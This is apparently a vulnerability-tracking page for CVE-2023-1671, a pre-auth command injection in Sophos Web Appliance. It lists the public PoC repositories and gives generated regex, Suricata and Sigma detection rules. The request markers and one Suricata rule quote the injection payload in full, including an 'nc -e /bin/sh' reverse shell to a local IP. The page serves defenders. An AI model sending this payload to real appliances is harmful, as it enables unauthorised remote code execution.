PoC Monitor
← All CVEs
CVE-2023-1671published 4 Apr 2023 00:00 UTCData: JSON · API

Sophos Web Appliance

Sophos Web Appliance Command Injection Vulnerability

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

First public PoC 19 daysafter publication · 23 Apr 2023
Public PoCs75 on GitHub · 2 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CNA · CWE-77
CISA KEV 16 Nov 2023226 days after publication

Timeline

Days relative to CVE publication
t=0+30+60+90+120+150+180+210CVE published4 Apr 2023 · t = 0First public PoC23 Apr 2023 · t+19dAdded to CISA KEV16 Nov 2023 · t+226d

First public PoC 19 days after publication; added to CISA KEV 226 days after publication. First PoC: ohnonoyesyes/CVE-2023-1671 (created 23 Apr 2023, found by us: backfilled).

PoC repositories

Found on GitHub.

5 PoCs · 1 pending · 1 suspicious or fake

PoCs 5
RepositoryCreatedStarsAssessment
ohnonoyesyes/CVE-2023-1671 23 Apr 2023 +19 d 3 PoC via PoC Index
W01fh4cker/CVE-2023-1671-POC 24 Apr 2023 +21 d 15 PoC
behnamvanda/CVE-2023-1671 25 Apr 2023 +22 d 1 PoC
csffs/cve-2023-1671 17 May 2023 +43 d 0 PoC
0xdolan/cve_poc 1 Aug 2023 +120 d 1 PoC via PoC Index
Pending 1
RepositoryCreatedStarsAssessment
c4ln/CVE-2023-1671-POC unknown 0 Pending · repository unavailable (HTTP 404)
Suspicious or fake 1
RepositoryCreatedStarsAssessment
getdrive/PoC 5 Aug 2023 +123 d 74 Fake

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
Exploit-DBSophos Web Appliance 4.3.10.4 - Pre-auth command injection25 Apr 202314 Nov 2026
nuclei templatenuclei template: Sophos Web Appliance - Remote Code Execution27 Apr 202314 Nov 2026

PoC characteristics

What to hunt for in your logs · from 5 PoC repos

POST /index.php

Query
c=blocked action=continue
Body markers
args_reason=filetypewarn url={var} filetype={var} user={var} user_encoded=$(echo -n ;ping $sub -c 3 #" user_encoded=$(echo -n ;nc -e /bin/sh 192.168.56.1 4444 #" in application/x-www-form-urlencoded
Seen in
2 repos: behnamvanda/CVE-2023-1671, ohnonoyesyes/CVE-2023-1671
Evidence
behnamvanda/CVE-2023-1671/CVE-2023-1671.sh:42 ohnonoyesyes/CVE-2023-1671/README.md:7

GET /{var}/{var}.json

Seen in
1 repo: 0xdolan/cve_poc
Evidence
0xdolan/cve_poc/cve_poc.py:53

GET /{var}/{var}.md

Seen in
1 repo: 0xdolan/cve_poc
Evidence
0xdolan/cve_poc/cve_poc.py:54

POST //https://{var}/index.php

Query
c=blocked action=continue/index.php?c=blocked action=continue
Body markers
args_reason=filetypewarn url= filetype= user= user_encoded=
Seen in
1 repo: csffs/cve-2023-1671
Evidence
csffs/cve-2023-1671/cve-2023-1671.py:78 csffs/cve-2023-1671/cve-2023-1671.py:113

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /index.php
(?i)^/index\.php\?(?:.*&)?c=blocked.*action=continue
GET /{var}/{var}.json
(?i)^/[^/?#]*/[^/?#]*\.json(?:[?#].*)?$
GET /{var}/{var}.md
(?i)^/[^/?#]*/[^/?#]*\.md(?:[?#].*)?$
POST //https://{var}/index.php
(?i)^//https://[^/?#]*/index\.php\?(?:.*&)?c=blocked.*action=continue/index\.php\?c=blocked.*action=continue

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /index.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/index.php"; http.uri; content:"c=blocked"; http.uri; content:"action=continue"; http.request_body; content:"args_reason=filetypewarn"; http.request_body; content:"url="; http.request_body; content:"filetype="; http.request_body; content:"user="; http.request_body; content:"user_encoded=$(echo -n |3b|ping $sub -c 3 #|22|"; http.request_body; content:"user_encoded=$(echo -n |3b|nc -e /bin/sh 192.168.56.1 4444 #|22|"; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9743898; rev:1;)
GET /{var}/{var}.json
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:".json"; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9544133; rev:1;)
GET /{var}/{var}.md
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:".md"; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9590046; rev:1;)
POST //https://{var}/index.php
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2023-1671 Sophos Sophos Web Appliance exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"//https://"; http.uri; content:"/index.php"; http.uri; content:"c=blocked"; http.uri; content:"action=continue/index.php?c=blocked"; http.uri; content:"action=continue"; http.request_body; content:"args_reason=filetypewarn"; http.request_body; content:"url="; http.request_body; content:"filetype="; http.request_body; content:"user="; http.request_body; content:"user_encoded="; reference:url,poc.griffinguard.io/cve/CVE-2023-1671; classtype:web-application-attack; sid:9754886; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /index.php
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9743898
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/index.php'
    cs-uri-query|contains|all:
      - 'c=blocked'
      - 'action=continue'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2023.1671
GET /{var}/{var}.json
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9544133
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '.json'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2023.1671
GET /{var}/{var}.md
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9590046
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '.md'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2023.1671
POST //https://{var}/index.php
title: Sophos Sophos Web Appliance exploit attempt (CVE-2023-1671)
id: gg-pocmon-cve-2023-1671-9754886
status: experimental
description: Request pattern taken from public PoCs for CVE-2023-1671. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2023-1671
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '//https://'
      - '/index.php'
    cs-uri-query|contains|all:
      - 'c=blocked'
      - 'action=continue/index.php?c=blocked'
      - 'action=continue'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2023.1671